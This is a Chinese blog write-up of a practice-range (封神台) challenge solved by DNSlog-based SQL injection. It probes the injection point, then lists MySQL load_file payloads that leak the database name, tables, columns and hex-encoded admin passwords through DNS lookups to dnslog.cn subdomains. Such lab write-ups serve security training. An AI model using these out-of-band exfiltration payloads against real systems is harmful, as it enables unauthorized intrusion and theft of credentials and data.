封神台 dnslog注入

原创

AKAyaojiang 于 2020-08-27 14:05:20 发布 424 收藏 1
分类专栏： 封神台 dnslog注入 文章标签： mysql

靶场地址：http://59.63.200.79:8022/cat/?id=1
第一步 注入点寻找
寻找注入点，初步判断id=1处为注入点
尝试 试用 and 1=1 返回成功 1=2 报错
第二步 初步测试注入
找到注入点试用 order by n 查询

发现可以回显的字符是2为 使用 union select 1，2 判断回显位为2

注：由于手工注入需要频繁测试，容易导致ip被管理员给ban掉 所以使用dnslog注入
第三步 dnslog注入
打开http://dnslog.cn/ get dns地址 确认是否能正常使用（使用ping命令）
使用load_file（可以读取本地/远程文件）函数进行注入
payload1（查询数据库名）：id=1 and (select load_file(concat('//',(select database()),'.5djib5.dnslog.cn/1.txt'))) 注：其中5djib5.dnslog.cn为获取的dns地址

通过payload1查询出数据库名为mashe
使用payload2（查询表名）id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database()limit 0,1),'.5djib5.dnslog.cn/1.txt')))

使用payload3（查询列名）：id=1 and (select load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1/2,1/2),'.rmim3o.dnslog.cn/1.txt'))) 注:1/2 替换查询 返回结果不一样

使用payload3（查询字段）id=1 and (select load_file(concat('//',(select hex(password) from admin limit 0,1),'.v1pfwj.dnslog.cn/1.txt')))

发现解码出来的password并不是flag 所以继续查询 1，1
使用payload3（查询字段）id=1 and (select load_file(concat('//',(select hex(password) from admin limit 1,1),'.v1pfwj.dnslog.cn/1.txt')))

提交flag即可

注：其中的dns地址复现时失效了 所以换了好几个地址但是并不影响结果。